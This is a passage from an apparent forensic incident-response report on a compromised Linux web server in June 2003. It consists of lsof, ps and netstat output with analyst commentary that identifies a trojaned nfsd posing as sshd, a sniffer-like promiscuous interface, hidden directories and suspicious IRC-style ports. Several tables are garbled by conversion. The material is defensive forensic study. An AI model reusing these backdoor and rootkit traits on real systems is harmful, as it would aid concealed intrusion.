<td>552454</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.5</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>:https (LISTEN)</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>:http (LISTEN)</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>285</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>chmod</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>/bin</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.2</td>
<td>242909</td>
<td>/usr/sbin/nfsd</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>/lib/id-2.2.5.so</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/tmp/s/nfsd</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>/bin</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>9r</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>0u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>1u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>2u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>3u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>/var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>4u</td>
<td>REG</td>
<td>3.5</td>
<td>0</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>5u</td>
<td>REG</td>
<td>3.5</td>
<td>8192</td>
<td>/tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>6u</td>
<td>sock</td>
<td>0.0</td>
<td>550563</td>
<td>can't identify protocol</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>7r</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/tmp/s/nfsd</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>8r</td>
<td>DIR</td>
<td>3.5</td>
<td>2048</td>
<td>/bin</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>9r</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>15w</td>
<td>REG</td>
<td>3.6</td>
<td>1729</td>
<td>/var/log/httpd/error_log</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>16u</td>
<td>IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>:https (LISTEN)</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>17u</td>
<td>IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>:http (LISTEN)</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>18w</td>
<td>REG</td>
<td>3.6</td>
<td>265</td>
<td>/var/log/httpd/access_log</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>19w</td>
<td>REG</td>
<td>3.6</td>
<td>0</td>
<td>/var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3.5</td>
<td>1024</td>
<td>/</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>txt</td>
<td>REG</td>
<td>3.2</td>
<td>242909</td>
<td>/usr/sbin/nfsd</td>
</tr>
<tr>
<td>nfsd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3.5</td>
<td>89547</td>
<td>/lib/id-2.2.5.so</td>
</tr>
</tbody>
</table>
```
The ps.txt output was examined looking for suspicious processes especially those that had already been identified. The suspicious processes minilogd, weit, popauth and nfsd were all started on Jun 29. The nfsd processes line was very suspicious, the line was:

“/usr/sbin/nfsd -f /sbin/sshd_config”

The sshd_config file is the configuration file for secure shell (ssh) a program used to allow secure, encrypted remote terminal access. The sshd_config file was located in the /sbin directory and was flagged a supicious file. Another file of interest was located in the /bin directory called hostname. The apache process had a large number of suspicious processes. Table 7 shows the suspicious processes started on Jun 29.

<table>
<thead>
<tr>
<th>USER</th>
<th>PID</th>
<th>%CPU</th>
<th>%MEM</th>
<th>VSZ</th>
<th>RSS</th>
<th>TTY</th>
<th>STAT</th>
<th>START</th>
<th>TIME</th>
<th>COMMAND</th>
</tr>
</thead>
<tbody>
<tr>
<td>apache</td>
<td>10606</td>
<td>0</td>
<td>1</td>
<td>79844</td>
<td>1340</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10607</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10608</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1260</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10609</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10610</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1260</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10611</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10612</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>apache</td>
<td>10613</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>?</td>
<td>S</td>
<td>Jun-29</td>
<td>0:00</td>
<td>/usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC</td>
</tr>
<tr>
<td>User</td>
<td>PID</td>
<td>UID</td>
<td>PPID</td>
<td>Priority</td>
<td>Priority</td>
<td>Time</td>
<td>Command</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>--------</td>
<td>-------</td>
<td>------</td>
<td>------</td>
<td>----------</td>
<td>------------</td>
<td>-------</td>
<td>-------------------------------</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19365</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1256</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19366</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1248</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19367</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19368</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19369</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19370</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19371</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19372</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19373</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19374</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19375</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>apache</td>
<td>19376</td>
<td>0</td>
<td>0.9</td>
<td>79824</td>
<td>1244</td>
<td>? S</td>
<td>Jun-29 /usr/sbin/httpd -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_ACCESS - DHAVE_PROXY -</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>DHAVE_AUTH_ANON - DHAVE_AC</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19635</td>
<td>0</td>
<td>0.3</td>
<td>5648</td>
<td>416</td>
<td>? S</td>
<td>Jun-29 minilogd</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19678</td>
<td>0</td>
<td>0.1</td>
<td>1336</td>
<td>200</td>
<td>T</td>
<td>Jun-29 /usr/bin/weit</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19685</td>
<td>0</td>
<td>0</td>
<td>48</td>
<td>8</td>
<td>? S</td>
<td>Jun-29 popauth</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19686</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>? E</td>
<td>Jun-29 [weit &lt;defunct&gt;]</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Table 7. Processes started on June 29, 2003

The lsmod.txt file was analysed to look at what kernel modules were loaded. A Module that required further investigation was nls_iso8859-1.

The netstat-routes.txt file showed no added routes. The ifconfig.txt file did show the eth0 interface in promiscuous mode. This is an indication of a possible sniffer program.

Analysis of the proc-filelist.txt file provided little benefit. The command used was a directory listing using ls –al of the /proc filesystem. The command should have included the command switch for recursive listing of the /proc file system, the correct command is ‘ls –alR’. The second last command indicated the date the liveresponse was completed and the final command was an MD5 checksum run on all of the *.txt files on the response system.

The live response provided valuable keywords to use in EnCase and a date and time to focus on. Below is a list of keywords taken from the interesting or suspicious events from the live response:

```
nfsd     XXX.XXX.2.23  6660 .x
popauth  weitr minilogd
.s        sshd_config nls_iso8859-1
soundcore 6667 services
```

The date of interest is June 29, 2003 and paths to investigate from live response output are:

```
/tmp/.s
```
/.x
/usr/bin
/usr/sbin
/sbin
Live response File listings

starttime.txt

Mon Jun 30 17:18:51 CST 2003

w.txt

5:22pm up 7 days, 5:24, 4 users, load average: 0.16, 0.03, 0.01

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
userid1 pts/0 - 23Jun03 7days 0.00s ? -
userid1 pts/1 - 23Jun03 38:58 0.22s 0.00s ls <defunct>
userid1 pts/2 - Fri 8am 4.00s 0.71s 0.01s /mnt/cdrom/nc 1
userid1 pts/3 - 4:44pm 38:14 0.15s 0.07s -bash

netsat-sockets.txt

Active Internet connections (servers and established)
Proto Recv Local Address Foreign Address State PID/Program name
 tcp 0 0.0.0.0:1024 0.0.0.0:* LISTEN 657/rpc.statd
 tcp 0 0.0.0.0:199 0.0.0.0:* LISTEN 8154/snmpd
 tcp 0 0.0.0.0:80 0.0.0.0:* LISTEN 8125/httpd
 tcp 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1066/X
/tcp 0 0.0.0.0:22 0.0.0.0:* LISTEN 842/sshd
 tcp 0 0 192.168.2.15:4149 0.0.0.0:* LISTEN 916/sendmail: accep
 tcp 0 0 192.168.2.15:4149 0.0.0.0:* LISTEN 8125/httpd
/tcp 0 0 192.168.2.15:4149 0.0.0.0:* LISTEN 1981/nfsd
/tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 8125/httpd
/tcp 0 0 192.168.1.120:1111 192.168.1.254:4149 LISTEN 29208/nc
/tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN 916/sendmail: accep
/tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 1981/nfsd
/tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1066/X
/tcp 0 0 192.168.2.15:4149 0.0.0.0:* LISTEN 916/sendmail: accep
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node PID/Program name Path
 unix 2 [ ACC ] STREAM LISTENING 1638 935/gpm /dev/gpmctl
 unix 2 [ ACC ] STREAM LISTENING 55128 0 19635/minilogd /dev/log
 unix 2 [ ACC ] STREAM LISTENING 1704 1005/xfs /tmp/.font/unix/fs7100
 unix 2 [ ACC ] STREAM LISTENING 2256 1192/artsd /tmp/mcopp-userid1/rlh-04a8-3ef74460
 unix 2 [ ACC ] STREAM LISTENING 1789 1066/X /tmp/X11-unix/X0
 unix 2 [ ACC ] STREAM LISTENING 2158 1178/kdeinit: dcops /tmp/.ICE-unix/1056392280
 unix 2 [ ACC ] STREAM LISTENING 2285 1210/kdeinit: kmse /tmp/.ICE-unix/1210
 unix 2 [ ACC ] STREAM LISTENING 2151 1175/kdeinit: Runni /tmp/ksocket-
 userid1/kdeinit-0
 unix 2 [ ACC ] STREAM LISTENING 2182 1181/kdeinit: klaun /tmp/ksocket-
 userid1/klauncherBcDBga slave-socket
 unix 2 [ ACC ] STREAM LISTENING 280221 6135/kdesud /tmp/ksocket-
 userid1/kdeinit:
 unix 3 [ ACC ] STREAM CONNECTED 715235 1178/kdeinit: dcops /tmp/.ICE-unix/1056392280
 unix 3 [ ACC ] STREAM CONNECTED 715234 29110/cdrom
 unix 3 [ ACC ] STREAM CONNECTED 715231 1210/kdeinit: kmse /tmp/.ICE-unix/1210
 unix 3 [ ACC ] STREAM CONNECTED 715230 29110/cdrom
 unix 3 [ ACC ] STREAM CONNECTED 715226 1066/X /tmp/.X11-unix/X0
unix 3 [ ] STREAM CONNECTED 715225 29110/cdrom
unix 2 [ ] STREAM CONNECTED 715217 29110/cdrom /tmp/ksocket-
userid1/kdeinit:-0
unix 3 [ ] STREAM CONNECTED 714328 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 714327 28981/kdeinit: kons
unix 3 [ ] STREAM CONNECTED 714323 1210/kdeinit: ksmse /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 714322 28981/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 714318 1066/X /tmp/.X11-1056392280
unix 3 [ ] STREAM CONNECTED 714317 28981/kdeinit: kons
unix 3 [ ] STREAM CONNECTED 714316 28981/kdeinit: kons
unix 3 [ ] STREAM CONNECTED 714315 1210/kdeinit: ksmse /tmp/.ICE-1056392280
unix 2 [ ] STREAM CONNECTED 361710 8154/snmpd
unix 3 [ ] STREAM CONNECTED 337083 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 337082 7168/kdeinit: konso
unix 3 [ ] STREAM CONNECTED 337073 7168/kdeinit: konso
unix 3 [ ] STREAM CONNECTED 337071 1210/kdeinit: ksmse /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 337070 1210/kdeinit: ksmse /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 337074 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 337073 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 280026 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 280025 6133/kdeinit: kcook
unix 3 [ ] STREAM CONNECTED 280012 1210/kdeinit: ksmse /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 280011 1210/kdeinit: kcook
unix 3 [ ] STREAM CONNECTED 280009 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 280008 6133/kdeinit: kcook
unix 3 [ ] STREAM CONNECTED 280005 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 280004 6133/kdeinit: kcook
unix 3 [ ] STREAM CONNECTED 2489 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2488 1232/kdeinit: konso
unix 3 [ ] STREAM CONNECTED 2485 1210/kdeinit: ksmse /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2484 1232/kdeinit: konso
unix 3 [ ] STREAM CONNECTED 2481 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 2480 1232/kdeinit: konso
unix 3 [ ] STREAM CONNECTED 2449 1210/kdeinit: ksmse /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2448 1230/kalarmd
unix 3 [ ] STREAM CONNECTED 2438 1210/kdeinit: ksmse /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2437 1228/korgac
unix 3 [ ] STREAM CONNECTED 2431 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 2430 1230/kalarmd
unix 3 [ ] STREAM CONNECTED 2427 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2426 1230/kalarmd
unix 3 [ ] STREAM CONNECTED 2419 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 2418 1228/korgac
unix 3 [ ] STREAM CONNECTED 2417 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2416 1228/korgac
unix 3 [ ] STREAM CONNECTED 2413 1210/kdeinit: ksmse /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2412 1233/kdeinit: klipp
unix 3 [ ] STREAM CONNECTED 2404 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 2403 1226/kdeinit: kwrit
unix 3 [ ] STREAM CONNECTED 2402 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2401 1226/kdeinit: kwrit
unix 4 [ ] STREAM CONNECTED 2397 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 2396 1223/kdeinit: klipp
unix 3 [ ] STREAM CONNECTED 2392 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2391 1223/kdeinit: klipp
unix 3 [ ] STREAM CONNECTED 2357 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 2356 1181/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2343 1210/kdeinit: ksmse /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2342 1217/kdeinit: kicke
unix 3 [ ] STREAM CONNECTED 2340 1066/X /tmp/.X11/XO
unix 3 [ ] STREAM CONNECTED 2339 1217/kdeinit: kicke
unix 3 [ ] STREAM CONNECTED 2336 1178/kdeinit: dcops /tmp/.ICE-1056392280
unix 3 [ ] STREAM CONNECTED 2335 1217/kdeinit: kicke
unix 3 [ ] STREAM CONNECTED 2311 1192/artsd /tmp/mcop-userid/rh1-04a8-3ef74460
unix 3 [ ] STREAM CONNECTED 2310 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2305 1178/kdeinit: dcops /tmp/.ICE-unix/dcop1178-
1056392280
unix 3 [ ] STREAM CONNECTED 2304 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2294 1210/kdeinit: ksmse /tmp/.ICE-unix/1210
unix 3 [ ] STREAM CONNECTED 2293 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2290 1066/X /tmp/X11-unix/XO
unix 3 [ ] STREAM CONNECTED 2289 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2280 1178/kdeinit: dcops /tmp/.ICE-unix/dcop1178-
1056392280
unix 3 [ ] STREAM CONNECTED 2279 1210/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2276 1066/X /tmp/.X11
unix 3 [ ] STREAM CONNECTED 2275 1210/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2267 1210/kdeinit: ksmse
unix 3 [ ] STREAM CONNECTED 2266 1208/kwrapper
unix 3 [ ] STREAM CONNECTED 2253 1066/X /tmp/.X11
unix 3 [ ] STREAM CONNECTED 2252 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2249 1178/kdeinit: dcops /tmp/.ICE-unix/dcop1178-
1056392280
unix 3 [ ] STREAM CONNECTED 2248 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2209 1066/X /tmp/.X11-unix/XO
unix 3 [ ] STREAM CONNECTED 2208 1175/kdeinit: Runni
unix 3 [ ] STREAM CONNECTED 2204 1066/X /tmp/.X11-unix/XO
unix 3 [ ] STREAM CONNECTED 2203 1183/kdeinit: kded
unix 3 [ ] STREAM CONNECTED 2189 1178/kdeinit: dcops /tmp/.ICE-unix/dcop1178-
1056392280
unix 3 [ ] STREAM CONNECTED 2188 1183/kdeinit: kded
unix 3 [ ] STREAM CONNECTED 2176 1178/kdeinit: dcops /tmp/.ICE-unix/dcop1178-
1056392280
unix 3 [ ] STREAM CONNECTED 2175 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 2169 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 2168 1175/kdeinit: Runni
unix 3 [ ] STREAM CONNECTED 1801 1005/xfs /tmp/font/xfs7100
